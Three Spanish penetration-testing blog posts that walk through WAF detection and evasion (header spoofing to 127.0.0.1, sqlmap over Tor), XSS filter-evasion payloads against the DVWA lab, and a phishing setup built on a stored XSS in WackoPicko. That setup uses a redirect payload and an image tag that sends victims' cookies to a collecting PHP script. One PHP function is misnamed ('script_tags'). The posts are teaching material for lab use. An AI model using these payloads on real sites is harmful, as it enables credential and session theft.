Bypass WAF

Buenas compañeros,

Esta entrada vamos a ver como evitar mecanismos de protección como son los WAF (Web Application Firewall). En muchas ocasiones en un proceso de auditoria web nos encontramos que nuestras peticiones  son bloqueadas o reseteadas antes de que lleguen y pueden llegar ser un dolor de cabeza, ya sea porque no han introducido nuestra IP en la lista blanca o en cambio la empresa quiere conocer como funciona su WAF y si un hacker ético es capaz de evitarlo.

Para comenzar si estamos auditando una web y observamos que se resetean las peticiones realizadas o tardan mucho, es un síntoma de que podría estar detrás un elemento defensivo de red.

A continuación, se detallan una serie de técnicas para evitar tanto manualmente como empleando herramientas:

 Herramientas

Herramientas para el descubrimiento de WAF:


 Wafwoof

Descarga: git clone [https://github.com/EnableSecurity/wafw00f.git]

Instalación: python setup.py install

Ejecución:

wafw00f URL 

Entre los parámetros más interesantes:

Options:

  -a, --findall         Find all WAFs, do not stop testing on the first one

  -l, --list            List all WAFs that we are able to detect

Ejemplo:

''wafw00f -a ********.es''

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                               

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://********.es
Generic Detection results:
The site http://*******.es seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 12


Es capaz de detectar los siguientes fabricantes de WAF:

wafw00f -l

Profense

NetContinuum

Incapsula WAF

CloudFlare

USP Secure Entry Server

Cisco ACE XML Gateway

Barracuda Application Firewall

Art of Defence HyperGuard

BinarySec

Teros WAF

F5 BIG-IP LTM

F5 BIG-IP APM

F5 BIG-IP ASM

F5 FirePass

F5 Trafficshield

InfoGuard Airlock

Citrix NetScaler

Trustwave ModSecurity

IBM Web Application Security

IBM DataPower

DenyALL WAF

Applicure dotDefender

Juniper WebApp Secure

Microsoft URLScan

Aqtronix WebKnight

FireEye Digital Security SecureIIS

Imperva SecureSphere

Microsoft ISA Server


SQLmap

SQLmap puede emplearse para evadir la protección de los WAF's. Además tiene módulos detectar y evadir el WAF.

Identificación WAF: --identify-waf

Evitar WAF/IDS/IPS:  --skip-waf    

Cambio de IP

Se puede conectar a través de TOR para "camuflar" la IP y evitar un bloqueo del WAF a nivel de IP.

Para ello, se cuentan con los siguientes módulos:

 --tor                              Use Tor anonymity network

 --tor-port=TORPORT  Set Tor proxy port other than default

 --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)

 --check-tor                  Check to see if Tor is used properly

 --delay=DELAY         Delay in seconds between each HTTP request

Es recomendable introducir pequeños delays para evadir posibles bloqueos del WAF por control de timer.

Burpsuite - Bypass WAF

Consiste en un plugin para burpsuite para saltarse el WAF que automáticamente configura las cabeceras siguientes:

 X-Originating-IP: 127.0.0.1

 X-Forwarded-For: 127.0.0.1

 X-Remote-IP: 127.0.0.1

 X-Remote-Addr: 127.0.0.1

De esta manera, el WAF analiza estas cabeceras y observa que la IP que está realiza las peticiones es localhost que se debe encontrar en la lista blanca.

Descarga: git clone https://github.com/codewatchorg/bypasswaf.git

Para más información: https://github.com/codewatchorg/bypasswaf

Nmap

Nmap dispone de un script para detectar

nmap -p80 --script http-waf-detect <host>

Manual

La mayoría de los WAF's bloquean a nivel de IP. Para evitar este bloqueo se pueden emplear diferentes técnicas:

 -Ir cambiando de IP conectándonos a TOR y forzar a que nos cambie de IP. Requiere de un trabajo extra y está en contra de la "usabilidad" pero a veces es lo que toca!

 -"Jugar" con las cabeceras. Se pueden emplear las siguientes cabeceras:

• X-Originating-IP: Indica el origen de la IP. Se puede establecer el valor de localhost para engañar al WAF y pensar que se producen desde su origen. Otro método es añadir IP internas o privadas,      sin embargo, en este caso puede ocurrir que por políticas de seguridd no sean alcanzables y no podamos evadir el WAF.
• X-forwarded-for: Indica la IP origen desde que se hace la petición. Útil para tratar con proxies.
• X-remote-IP
• X-remote-addr

Una dupla de valores que se les pueden asignar sería:

x-forwarded-for: 184.189.250.x  (I'm you cache server) - La IP pública de la página web.

x-remote-IP: 184.189.250.x (I'm your proxy)

x-remote-addr: 192.168.1.X (Internal user, let me in!) -> 127.0.0.1

x-remote-IP: (* or or %0A) -> 127.0.0.1


Otra solución directamente es añadir a todas la cabeceras el valor 127.0.0.1

El objetivo que se busca con el uso de cabeceras es obtener una IP interna o privada que se encuentre en la lista blanca del WAF, y de esta manera, evitar sus acciones.

Analizar las cabeceras de respuesta así como las páginas de error para verificar si está correctamente configurado o por el contrario, se muestran características del WAF o su propio nombre.


Se recomienda la lectura del siguiente artículo para evitar el WAF empleando queries de SQL en un inyección de código SQL para más detalle:

https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

Si se consigue identificar el WAF, se tiene ya mucho ganado, pues la jugada es buscar las reglas de correlación para identificar ataques así como posibles bugs.

Espero que os haya gustado y os sea útil cuando os toque pegaros con uno. Para cualquier cosa, usad los comentarios y estaré encantado de contestaros.

La finalidad de esta entrada es con fines educativos y formativos con objeto de emplearse en entornos controlados y con permiso. No nos hacemos responsables de su utilización para ámbitos distintos.

Saludos.

NaxHack5

La mejor defensa es un buen ataque.

PoC: Evitando filtros anti-XSS

Buenas compañeros,

Esta entrada se va a centrar en cómo evitar filtros para evitar ataques XSS (Cross Site Scripting).

Para ello, se va a tomar como plataforma de pruebas DVWA, ya sabéis para no meterse en líos

Como ya sabéis para instalar DVWA, os montáis la máquina virtual y le metéis la iso de DVWA (https://github.com/nightmare-rg/dvwa-vagrant/tree/master/dvwa-1.0.8)

Vamos a ello!

Seleccionando la opción de XSS reflected y ajustando el nivel de dificultad, tenemos todo listo para empezar:

Nivel low

En el nivel "low" el servidor web no aplica ningún tipo de validación de los parámetros de entrada por lo que introduciendo la típica cadena

<script>alert("XSS")</script> 

visualizamos el alert verificando que es vulnerable.

Una vez que se ha visto que es vulnerable, se examina el código que como se dedujo, no existe ningún mecanismo de validación de entrada:

Recomendaciones:

Para evitar todo tipo de inyección nunca se debe confiar de datos o fuentes externas y validar todo sin suponer nada, por ejemplo, que los datos esperados son los que el usuario va a introducir.

Para ello, se debe validar todos los datos de entrada, escapar o filtrar los datos no permitidos y opcionalmente sanearlos. Sin embargo, el saneamiento de datos es opcional puesto si la aplicación recibe datos que no debería podría rechazarlos y enviar un mensaje de error para que el usuario los introduzca correctamente para ser aceptados.

En este caso, en PHP se tiene una función para filtrar etiquetas no permitidas como /, <, </, script,…. Esta función es script_tags

Otra función útil para escapar los datos de entrada  antes de ser mostrados cuando el código de entrada esperado es HTML es htmlspecialchars.

Del mismo modo, se debería emplear la función trim que elimina caracteres especiales de inicio o final de la cadena sustituyéndolo por espacios en blanco. Por ejemplo, elimina \t\n\r\0/


Nivel medium

Introduciendo el mismo código, ya no se ejecuta, por lo tanto, se puede deducir que se están aplicando mecanismos de validación de los parámetros de entrada.

Por lo tanto, para detectar que keywords está se realiza una batería de pruebas para identificar los posibles parámetros "prohibidos" para de esta manera, poder evitarlos.

Entrada	Salida
script	Hello script
<script>	hello
script>	Hello script> -- Este es bueno!
<script	hello
<<script>>	Hello <> -- Filtra keyword script

Como se observa está filtrando el keyworsd "<script>". Sin embargo, sabiendo que:

<<script>    devuelve    <

    script>       devuelve    <

Ya tenemos la formula de evitar el filtro:

<<script>script>alert("XSS medium")</script>

Análogamente a la reconstrucción del tag de script en función del filtrado, se podría incluir construir el tag de script en partes:

<scr>script>ipt>alert(“XSS DVWA”);</script>

Del mismo modo, a la reconstrucción del tag de script en función del filtrado, se podría incluir espacios en blanco en los < > para saltarse la restricción y ver si el servidor interpreta dicho código y lo ejecuta.

<<script>script>alert(“XSS medium”);</script >

De ahí el fallo que reemplaza justamente esa palabra exacta. Por lo tanto, introduciendo el código:

<script type="text/javascript">alert("XSS medium")</script>

No detecta la cadena <script> exacta y se lo “traga”

Otro intento típico es emplear los tag de script en mayúsculas para verificar si el servidor realiza algún tipo de saneamiento, esto es, una conversión de lso valores introducidos ya sean mayúsculas o minúsculas para su posterior tratamiento y gestión:

<SCRIPT>alert("XSS medium");</SCRIPT>

Una vez vulnerado se mira el código fuente para ver que función emplean para determinar cómo se podría mejorar. 

Observando el código fuente, se aprecia que se está empleando la función str_replace para reemplazar la keyword “<script>” por un espacio en blanco.

Adicionalmente, es más que recomendable revisar el documento de OWASP para explotar XSS (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet).

Espero que os haya gustado :D

Para cualquier cosa, escribir un comentario y estaré encantado de responder.

Saludos.

NaxHack5

"La mejor defensa es un buen ataque"

PoC: Phishing manual explotando un XSS

Buenas compañeros,

Hace un tiempo que no he podido publicar pero uno también tiene que atender sus responsabilidades =D como se suele decir, lo bueno se hace de rogar.

En el blog ya tenemos un par de pruebas de concepto de cómo montar un phishing, ya sea SET o con el framework phishing frenzy todo empleando software especializado. En este post, se va aprovechar una vulnerabilidad de XSS para desarrollar un phishing.

Para ello, como siempre se va a emplear un escenario controlado, ya sabéis hay jugar pero sin meterse en líos. En este caso, se ha empleado la aplicación web WackoPicko, que se encuentran dentro del proyecto OWASP Broken Web APP

Se trata de la típica aplicación que nos podemos encontrar que tiene un buscador de productos. Normalmente cuando veamos algo así, nos entra mono de probar si puede ser vulnerable a un XSS o SQL Injection,pues vamos a ello!

En la barra de buscador se podría intentar incrustar código script. Como prueba de concepto para detectar si el sitio web es vulnerable se introduce el típico código:

<script>alert(“XSS”)</script>

Verificando que es vulnerable, se podría incrustar un XSS persistente, de tal manera, que un usuario legítimo de la aplicación se podría conectar o si ya estuviera autenticado (sería demasiado bueno) y se le redirige a una página idéntica en la que se le indica que se ha producido un error y se tiene que volver a loguear, es decir, implementar un phishing aprovechando una vulnerabilidad de XSS.

Entonces por partes, en primer lugar, insertarmos el código del XSS persistente:

'><script>document.location="http://172.16.1.2/login.html";</script>

A continuación el código del HTML (login.html) que se basa en copiar el código pero no nos descargamos las fuentes sino que las llamamos mediante peticiones.

De tal manera, que el usuario que se vaya al buscador, se le redirige a la página del phishing:

En el fichero HTML (login.html), se está recogiendo las fuentes de la página inicial lo cual tiene dos implicaciones, una de rendimiento que es muy óptimo la página no tarda nada en cargarse, lo cual no levanta sospechosas al usuario, mientras que la segunda desde el punto de vista de la seguridad no es adecuada hacer peticiones a los recursos de un sitio web si estás tratando de usurparlo, esta actividad levanta muchas sospechas.

Se  ha creado el fichero login.html pues ahí se encuentra cargado el servidor Apache y el intérprete de PHP.

Lo que se pretende con este phishing es dos objetivos:

- Robo de credenciales.

- Robo de cookies de usuarios autenticados.

Es posible que algún usuario se encuentra autenticado y al entrar en el buscador directamente nos podemos hacer con su cookie sin necesidad de que introduzca sus credenciales.

Para ello, se crean dos pequeños scripts:

- takelogin.php

- takecookie.php

En el panel de login, en el form se llama mediante el action POST al fichero takelogin.php

Recoge el username y password. Para que no sea visible para la víctima potencial se emplea la función header y se incluye la dirección “verdadera” para que se autentique de nuevo.

En la siguiente captura se observan las peticiones ambos scripts:

Es importante crear manualmente el fichero de texto dónde se van a guardar y sobretodo darle permisos (chmod 777 login.txt). 

Y como se ve en el fichero .txt tenemos los credenciales:

Una vez autenticado, se redirige a la página oficial indicando que los datos introducidos son incorrectos:

Para la recogida de cookies en el propio fichero de login.html se incluye el siguiente código JavaScript:

document.write("<img width='0px' height'0px' src='http://localhost/takecookie.php?cookie=" + document.cookie +  "'>");

En este se aprovecha el tag de una imagen para incluir una llamada a takecookie.php que recoge la cookie.

El código del script takelogin.php es:

Viendo el fichero de las cookies:

Con el valor de estas cookies, se intentaría usar para loguearse empleado una sesión activa de un usuario, ya sabéis empleando un proxy interceptador.

Y esto es todo, espero que os haya molado ver como aprovechando una vulnerabilidad de XSS se puede montar un phishing de manera manual. Para que luego digan que las vulnerabilidades de XSS son sólo para poner un alert o un defacement =D

Ya sabéis para cualquier ayuda, sugerencia, queja o agradecimiento ahí están los comentarios, usadlos! y estaré encantado de responderlos.

Esta entrada está destinada a fines académicos en entornos controlados sin suponer sin ningún impacto. No nos hacemos responsables de uso para otros fines.

Saludos.

La mejor defensa es un buen ataque.

NaxHack5